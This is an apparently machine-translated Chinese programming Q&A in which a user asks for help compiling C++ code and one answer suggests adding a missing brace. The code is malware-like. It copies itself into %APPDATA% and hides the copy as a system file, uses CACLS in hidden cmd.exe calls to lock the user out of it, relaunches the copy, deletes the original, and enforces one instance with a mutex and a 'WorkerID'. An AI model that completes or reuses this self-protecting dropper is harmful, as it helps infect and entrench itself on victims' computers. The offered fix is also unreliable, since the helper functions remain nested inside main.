我尝试编译此代码,除了以下代码外,该代码没有其他功能: 我运行后,将自身复制到其他文件夹/路径,然后删除自身并进行保护。
我想了解更多有关这些东西如何工作的信息,但是遇到一些我无法解决的错误,因此我需要一些帮助来构建它:)
这是错误列表:
错误C1075'{':未找到匹配的令牌
错误C2601'WorkerID':本地函数定义不合法
错误C2601'SelfDefense':本地函数定义不合法
错误C2601'IsElevated':本地函数定义不合法
错误C2601'删除':本地函数定义不合法
错误C2601'复制':本地函数定义不合法
错误C2601'CheckPath':本地函数定义不合法
错误C2601'CheckMutex':本地函数定义不合法
我对c ++的使用经验为零,因此每次尝试解决此问题都会遇到更多错误。
#define _UNICODE
#include "App.h"
#include "Myresearchconsoleapp/Entry.h"
#include "Myresearchconsoleapp/Process.h"
#include <windows.h>
#include <TCHAR.H>
#include <thread>
#include <sddl.h>
#include <stdio.h>
#include <aclapi.h>
#include <stdlib.h>
#include <Shlwapi.h>
#define STRICT
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")
#pragma comment(linker, "/SECTION:.text,EWR")
#define STRLEN(x)(sizeof(x) / sizeof(TCHAR) - 1)
int main(int argc, char **argv) {
using namespace mystudyapp;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
bool SelfDefense()
{
return TRUE;
}
int Delete(TCHAR* path) {
TCHAR DelCom[MAX_PATH + 1];
wsprintfW(DelCom, L"/c timeout -t 2 && del \"%s\"", path);
ShellExecuteW(0, L"open", L"cmd.exe", DelCom, 0, SW_HIDE);
std::exit(0);
}
int Copy(TCHAR* CopyPth, TCHAR* CruPath, TCHAR* Username) {
STARTUPINFO si;
TCHAR CACLS[1024];
TCHAR CACLS2[1024];
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
memset(&pi, 0, sizeof(pi));
CopyFile(CruPath, CopyPth, true);
SetFileAttributes(CopyPth, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
wsprintfW(CACLS, L"/c CACLS \"%s\" /E /P %s:N", CopyPth, Username);
ShellExecuteW(0, L"open", L"cmd.exe", CACLS, 0, SW_HIDE);
wsprintfW(CACLS2, L"/c Echo Y| CACLS \"%s\" /P %s:R", CopyPth, Username);
ShellExecuteW(0, L"open", L"cmd.exe", CACLS2, 0, SW_HIDE);
CreateProcess(NULL, CopyPth, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
Delete(CruPath);
}
int CheckMutex() {
WCHAR MUTEX[] = { L"Global\\Mutex01" };
HANDLE hMutex = CreateMutexW(0, 0, MUTEX);
if ((GetLastError() == ERROR_ALREADY_EXISTS) || (GetLastError() == ERROR_ACCESS_DENIED)) {
CloseHandle(hMutex);
std::exit(0);
}
return 0;
}
BOOL IsElevated() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
int CheckPath() {
TCHAR Username[256];
TCHAR AppData[1024 + 1];
BOOL Admin = IsElevated();
TCHAR CruPath[MAX_PATH + 1];
ExpandEnvironmentStringsW(L"%USERNAME%", Username, 256);
ExpandEnvironmentStringsW(L"%APPDATA%\\mystudyapp.exe", AppData, 1024);
GetModuleFileName(NULL, CruPath, STRLEN(CruPath));
if (_tcscmp(CruPath, AppData) != 0) {
Copy(AppData, CruPath, Username);
}
else {
CheckMutex();
if (SelfDefense()) {}
return 0;
}
}
char* WorkerID() {
DWORD VolumeSerialNumber = 0;
GetVolumeInformation(L"c:\\", NULL, NULL, &VolumeSerialNumber, NULL, NULL, NULL, NULL);
char procID[20];
sprintf(procID, "%d", VolumeSerialNumber);
return procID;
App app(&process);
return app.exec();
}
答案 0 :(得分:0)
好的,我撤回上面的评论。您在主体末尾缺少}
int main(int argc, char **argv) {
using namespace mystudyapp;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
应该是
int main(int argc, char **argv) {
using namespace mystudyapp;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
}